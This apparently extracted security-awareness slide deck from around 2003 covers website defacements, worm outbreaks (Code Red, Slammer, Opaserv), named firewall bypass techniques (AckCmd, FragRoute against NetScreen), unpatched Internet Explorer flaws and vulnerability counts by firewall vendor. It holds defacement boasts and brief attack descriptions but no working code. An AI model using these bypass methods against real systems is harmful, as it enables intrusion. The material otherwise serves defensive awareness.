<td>view</td>
<td>mirror</td>
</tr>
<tr>
<td>2002/01/02</td>
<td>Nous5</td>
<td>H</td>
<td>Unknown</td>
<td>view</td>
<td>mirror</td>
</tr>
<tr>
<td>2001/11/27</td>
<td>Silver Lords</td>
<td>H</td>
<td>Windows</td>
<td>view</td>
<td>mirror</td>
</tr>
<tr>
<td>2001/11/12</td>
<td>TeckLife</td>
<td>H</td>
<td>Windows</td>
<td>view</td>
<td>mirror</td>
</tr>
<tr>
<td>2001/11/04</td>
<td>tty0</td>
<td>H</td>
<td>Windows</td>
<td>view</td>
<td>mirror</td>
</tr>
<tr>
<td>2001/11/02</td>
<td>Digital WrapperZ</td>
<td>H</td>
<td>Unknown</td>
<td>view</td>
<td>mirror</td>
</tr>
<tr>
<td>2001/05/01</td>
<td>C1m3_0rg4n124d0</td>
<td>H</td>
<td>Windows</td>
<td>view</td>
<td>mirror</td>
</tr>
<tr>
<td>2001/05/01</td>
<td>cAk</td>
<td>H</td>
<td>Windows</td>
<td>view</td>
<td>mirror</td>
</tr>
<tr>
<td>2001/05/01</td>
<td>C1m3_0rg4n124d0</td>
<td>H</td>
<td>Windows</td>
<td>view</td>
<td>mirror</td>
</tr>
</tbody>
</table>
DEFACED

BY

AFFIX

BY N3rd

I Love You Gabizinha_SBC

#Affix - Irc.BrasNet.Org
Pagina Configurada por w4rr10rs

FOME
Destruição

Cyber Lords

Extra ! Extra ! Extra, familia passa fome, enquanto o governo enche a barriga, com o dinheiro deles Extra !!!

Aquela gente Humilde

Dente do leão, a quem?...
the creative people never will be dominated

cr1m3 Org4n1z4d0

Sh4dow Fre4k!!!!
UPLOAD.ASP

Whoooppz!!!! hohoho !!!
hOhOOhOhO br rlz

shite happens
Gretz to US !!! F0ul . Lord Choo3s . mamãæ !

...
Hacked Web Site of the Year Award
Welcome to bugbear linux labs][01.30.03]

welcome back to freedom mr.kevin ;)

BugBear is trying to tell u have forget to secure your box, it was fun and easy to break into your box ;).

Greetings to all the slimshaddy company, 50cent, Dr.Dre nah what a minute this is eminem spech. greeting to : bugbears, linux-master, Dkd ||, #linux architects
Hacking Embedded Web Servers
Attack of the Killer Worms
**W32.Opaserv.G.Worm**

![LogViewer Image](Image)

<table>
<thead>
<tr>
<th>Date</th>
<th>Time</th>
<th>Src</th>
<th>Src_Port</th>
<th>Dest</th>
<th>Dest_Port</th>
</tr>
</thead>
<tbody>
<tr>
<td>11/15/2002</td>
<td>21:51:56</td>
<td>65.40.239.54</td>
<td>1029</td>
<td>192.168.1.10</td>
<td>1370</td>
</tr>
<tr>
<td>11/15/2002</td>
<td>21:58:47</td>
<td>80.157.64</td>
<td>1044</td>
<td>192.168.1.10</td>
<td>1370</td>
</tr>
<tr>
<td>11/15/2002</td>
<td>22:24:49</td>
<td>63.115.175.97</td>
<td>23610</td>
<td>192.168.1.10</td>
<td>1370</td>
</tr>
</tbody>
</table>

![CyberGround Worldwide Logo](Image)
W32.Opaserv.G.Worm
W32.Opaserv.G.Worm
Code Red

![Graph showing Code Red worm - infected hosts over time](image-url)
Just Part of the Slammer Story....

- The first Slammer packet was detected at 12:30AM
- By 12:45 AM, huge sections of the Internet began to go down
- Within minutes Level 3's transcontinental chain of routers began to fail – overwhelmed with traffic
- Three hundred thousand cable modems in Portugal went dark
- South Korea fell right off the map: no cell phone or Internet service for 27 million people.
- Five of the Internet's 13 root-name servers - hardened systems, all - succumbed to the squall of packets.
- Corporate email systems jammed.
- Web sites stopped responding.
- Emergency 911 dispatchers in suburban Seattle resorted to paper
- Continental Airlines, unable to process tickets, canceled flights from its Newark hub.
Slammer sets new speed record

Port 1434 traffic 5:15 am - 9 am January 25th 2003

- packets
- targets
- sources

© SANS Int'l / Internet Storm Center. Unaltered distribution permitted.
Warhol Worm

![Graph showing the number of instances over time for Conventional, Fast Scanning, and Warhol methods. The graph illustrates a rapid initial increase for the Warhol method, followed by a slower but steady growth compared to the other methods.]
Exploits of Interest
Firewall 1 with FastPath

AckCmd burns a hole right through CP FW1 when running FastPath or Fast Mode......
NetScreen URL Issue

An attacker running FragRoute could pass malicious URLs right through NetScreen.... Aka Code Red. NetScreen did not reassemble the fragmented URLs prior to inspection.
NetScreen Layer 4 Issue

The default installation of certain NetScreen firewalls only filters IP protocol and allows any other foreign protocols to pass unfiltered.
New MS Security Initiative

⚠️ 31 unpatched vulnerabilities in Internet Explorer!
They have just discovered several NEW and (now) publically KNOWN vulnerabilities in Microsofts Internet Explorer that Microsoft hasn't bothered to patch!
»www.pivx.com/larholm/unpatched/[

Latest additions:
quote:

11 September 2003: Added Media bar resource injection by jelmer
10 September 2003: Added file-protocol proxy by Liu Die Yu
10 September 2003: Added NavigateAndFind protocol history by Liu Die Yu
10 September 2003: Added window.open search injection by Liu Die Yu
10 September 2003: Added NavigateAndFind file proxy by Liu Die Yu
10 September 2003: Added Timed history injection by Liu Die Yu
10 September 2003: Added history.back method caching by Liu Die Yu
10 September 2003: Added Click hijacking by Liu Die Yu
9 September 2003: Re-added Re-evaluating HTML elavation

If you are using IE or OE (since most of these vulnerabilities also affect Outlook Express), do the right thing. Stop using it for ANYTHING ELSE than getting updates and patches from »windowsupdate.microsoft.com[?](for those serious vulnerabilities that Microsoft bothers to patch that is). For email, www-browsing, etc. etc. use better browsers, like Mozilla, Opera, etc. etc.

😊 This is getting out of hands. 31 UNPATCHED and well-known vulnerabilities in IE 😊
## Most Recent, Publicly Documented Vulnerabilities

<table>
<thead>
<tr>
<th>Firewall Vendor</th>
<th>CERT</th>
<th>CIAC</th>
<th>BugTraq</th>
<th>X-Force</th>
<th>CVE</th>
<th>TOTAL**</th>
</tr>
</thead>
<tbody>
<tr>
<td>BorderWare</td>
<td>1</td>
<td>1</td>
<td>1</td>
<td>1</td>
<td>1</td>
<td>1</td>
</tr>
<tr>
<td>Check Point Firewall 1</td>
<td>3</td>
<td>2</td>
<td>25</td>
<td>11</td>
<td>13</td>
<td>26</td>
</tr>
<tr>
<td>Cisco PIX Firewall</td>
<td>2</td>
<td>1</td>
<td>12</td>
<td>3</td>
<td>3</td>
<td>15</td>
</tr>
<tr>
<td>CyberGuard</td>
<td>0</td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>NetScreen</td>
<td>14</td>
<td>2</td>
<td>2</td>
<td></td>
<td></td>
<td>14</td>
</tr>
<tr>
<td>Nokia Check Point *</td>
<td>2</td>
<td>2</td>
<td>1</td>
<td>1</td>
<td></td>
<td>4</td>
</tr>
<tr>
<td>Novell BorderManager Firewall</td>
<td>10</td>
<td>4</td>
<td>3</td>
<td></td>
<td></td>
<td>10</td>
</tr>
<tr>
<td>Secure Computing WebShield/Gauntlet</td>
<td>1</td>
<td>1</td>
<td>8</td>
<td>6</td>
<td>6</td>
<td>8</td>
</tr>
<tr>
<td>SpearHead Security</td>
<td>1</td>
<td>1</td>
<td>1</td>
<td></td>
<td></td>
<td>1</td>
</tr>
<tr>
<td>SonicWall SOHO</td>
<td>6</td>
<td>3</td>
<td>3</td>
<td></td>
<td></td>
<td>8</td>
</tr>
<tr>
<td>Symantec Enterprise (Raptor)</td>
<td>11</td>
<td>2</td>
<td>2</td>
<td></td>
<td></td>
<td>11</td>
</tr>
<tr>
<td>WatchGuard FireBox</td>
<td>14</td>
<td>9</td>
<td>10</td>
<td></td>
<td></td>
<td>14</td>
</tr>
</tbody>
</table>

**TOTAL is the total number of vulnerabilities reported since 01/29/00, not the sum across columns since a vulnerability may be reported by more than one source.

- All Check Point vulnerabilities also apply to the Nokia firewall since it is a Check Point appliance. The Nokia vulnerability is specific to the Nokia platform.
Sleep Well..........